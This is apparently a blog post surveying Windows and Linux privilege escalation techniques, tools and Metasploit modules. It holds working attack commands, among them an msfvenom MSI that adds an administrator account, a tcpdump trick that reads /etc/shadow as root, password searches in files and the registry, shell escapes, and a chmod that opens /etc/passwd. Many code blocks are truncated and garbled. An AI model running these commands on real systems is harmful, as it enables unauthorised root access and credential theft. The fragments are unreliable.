Recently I get some time to collect materials about privilege escalation, provide you with useful tools and some basic knowledge (overview, not details).
Windows
You can refer to Windows Privilege Escalation Fundamentals and Windows Privilege Escalation Guide.
We skip Information Gathering part and continue learning other things.
Kernel Exploit
Tools to search patch vulnerability
1 | https://github.com/bitsadmin/wesng |
Or
1 | # query manual |
Or use crafted wmic_info.bat
1 | for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" |
And some MSF exploits:
Windows ClientCopyImage Win32k Exploit
- Windows 7 x64, x86, Windows 2008 R2 SP1 x64
- exploit/windows/local/ms15_051_client_copy_image
Windows TrackPopupMenu Win32k NULL pointer dereference
- Windows XP SP3, Windows Server 2003 SP2, Windows 7 SP1 Windows Server 2008 32, Windows Server 2008 R2 SP1 64
- exploit/windows/local/ms14_058_track_popup_menu
KiTrap0D exploit
- Windows Server 2003 32, Windows Server 2008 32, Windows 7 32, Windows XP
- exploit/windows/local/ms10_015_kitrap0d
Task Scheduler XML escalation
- Windows Vista, Windows 7, Windows Server 2008 x64 and x86
- exploit/windows/local/ms10_092_schelevator
MS16-016 mrxdav.sys WebDav local escalation
- Windows 7 SP1 x86
- exploit/windows/local/ms16_016_webdav
EPATHOBJ::pprFlattenRec local escalation
- Windows XP SP3, Windows 2003 SP1, Windows 7 SP1
- exploit/windows/local/ppr_flatten_rec
MS13-053 : NTUserMessageCall Win32k kernel pool overflow
- Windows 7 SP1 x86
- exploit/windows/local/ms13_053_ schlamperei
MS16-032 Secondary Logon Handle escalation
- Windows 7-10, 2k8-2k12 32/64, Powershell 2.0 and higher Windows version
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
1 | meterpreter> load incognito # or use incognito |
Config Error
This includes system service priv setting error, trusted service path vulns, scheduled tasks.
Methods to check:
1 | # Empire module |
System service privilege config:
As services started when booting up are with high privs, if they are exploitable, we can use them to elevate.
1 | # Powershell attack script |
Trusted service path vulns:
If a service executable path is without "
and has <space>
, then it is vulnerable.
1 | # Search vulnerable service |
Scheduled tasks:
Since tasks executed by high privileged users, if service dirs are editable, they are vlunerable.
1 | # Check scheduled tasks |
GPP Privilege Escalation
Group Policy Preferences (GPP)
1 | # Powershell obtain cpassword |
Bypass UAC
1 | #MSF |
Token Stealing
Use RottenPotato.
Without Token
Use Responder.py
For Different OS Version
Windows2000/2003, XP
Useat
(set scheduled tasks) to let users inAdministrator
group elevated toSYSTEM
Windows 7/8, 03/08, 12/16
sc
to control service1
2> sc Create syscmd binPath= "cmd /K start" type= own type= interact
> sc start systcmdAlwaysInstallElevated: allow non-admin users run
*.msi
to install withSYSTEM
privs1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20# disabled by default
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
# check using
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# if not vulnerable
ERROR: The system was unable to find the specified registry key or value.
# else it prints key values
# attack
> msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi
> msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet forbid sending messages to user when installing
# /qn no GUI
# /i specify the program
# MSF module
exploit/windows/local/always_install_elevatedUnattended Installs: a XML file named Unattended, contains all configs about program installation, like account config
They are under dirs:1
2
3
4C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\Except
Unattend.xml
, thesysprep.xml
andsysprep.inf
are also contains something1
2
3
4
5
6
7> dir C:*vnc.ini /s /b /c
> dir C:\ /s /b /c | findstr /sr *password*
> findstr /si password *.txt | *.xml | *.ini
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s
# MSF module
post/windows/gather/enum_unattend
- CVE
- Windows10 CVE-2020-0796
- Windows7/2008 CVE-2018-8120
- Windows7/8、2008/2012/2016 CVE-2017-0213
- SQL Server, IIS (just for local, not domain) MS16-075(RottenPotato)
Other Methods
For there are toooo much knowledge to mention, maybe it’s better to google just when you need them.
Linux
You can refer to Basic Linux Privilege Escalation, and info gathering part is related to Linux Security Response .
Here recommends some tools:
Kernel Exploit
Normally we should have:
- vulnerable kernel
- corresponding exploit program
- able to transfer exploit to the target
- able to run it, and let kernel run our payload
Search exploits by
1 | site:exploit-db.com kernel version python linprivchecker.py extended |
Some CVEs for example: CVE-2015-1328, CVE-2016-5195, CVE-2017-16995, CVE-2018-18955, CVE-2018-1000001, CVE-2019-13272. To test them, visit This and That for old images and old kernels.
DirtyCow(CVE-2016-5195) is a typical vulnerability to perform privilege escalation, which can handle many kernel versions: PoCs
More exploit can be found at linux-kernel-exploits, but it is not recommended, because after that computer may be unstable and easy to crash.
SUID
This part can refer to SUID Executables by penetration testing lab.
Other methods:
- Use
cp
to overwrite/etc/shadow
- Use
mv
to overwrite/etc/shadow
,/etc/sudoers
awk
:awk 'BEGIN {system("/bin/bash")}'
man
:man passwd
!/bin/bash
python
/perl
/ruby
/lua
/etc- refer to About Reverse Shell
tcpdump
1
2
3$ echo $'id\ncat /etc/shadow' > /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
A cheat sheet for Linux
privilege escalation is GTFOBins.
echo ‘import os,stat ;os.chmod(“/etc/passwd”, stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)’ >> test.py
SUDO
The sudo
command is to let normal user execute one command as root
user, and the configurations are stored in /etc/sudoers
.
Format of /etc/sudoers
should be like
1 | root ALL=(ALL) ALL |
Use sudo -l
to list all allowed commands, the exploit methods are similar to SUID
.
Cronjob
Since the crontab tasks are executed by root
user, if any config file is editable by normal users, you can let root user execute anything you want.
To sum up, the SUID
, SUDO
and Cron jobs all depends on writing things by normal user and being executed by root
user
.
in $PATH
We always run binary in current dir with ./binary
, while if we add .
in $PATH
we can run binary
directly.
However if attackers make an evil ls
or cat
or something, and lure root
user to enter that dir and execute, it is attacked.
Other Techniques
Exploiting Wildcard for Privilege Escalation
Other Useful Tools
Windows-Exploit-Suggester and Linux_Exploit_Suggester (quite old).
gtfo which searches the GTFOBins (for linux
) and LOLBAS (for windows
) in Python 3
, and LOOBins (for MacOS
), using system commands to elevate.
PEASS - Privilege Escalation Awesome Scripts SUITE also provides exploit for both linux
and windows
.
A curated list of awesome privilege escalation: Awesome Privilege Escalation
A pack for Windows-exploits.
Besides there are BeRoot to find config errors, Vulmap and WindowsVulnScan to scan vulns.
Online searching includes (in Chinese):